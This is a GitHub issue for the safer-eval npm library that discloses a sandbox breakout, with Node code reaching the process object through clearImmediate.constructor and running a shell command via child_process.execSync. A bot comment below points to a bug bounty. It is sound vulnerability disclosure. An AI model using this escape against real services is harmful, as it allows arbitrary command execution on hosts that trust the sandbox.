commenthol / safer-eval

a safer eval
MIT License
21 stars 16 forks source link

Breakout #10

Open XmiliaH opened 4 years ago

XmiliaH commented 4 years ago

One can break out of the sandbox with the following code in node:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));
huntr-helper commented 4 years ago

👋 Hey! We've recently opened a bug bounty against this issue, so if you want to get rewarded 💰 for fixing this vulnerability 🕷, head over to https://huntr.dev!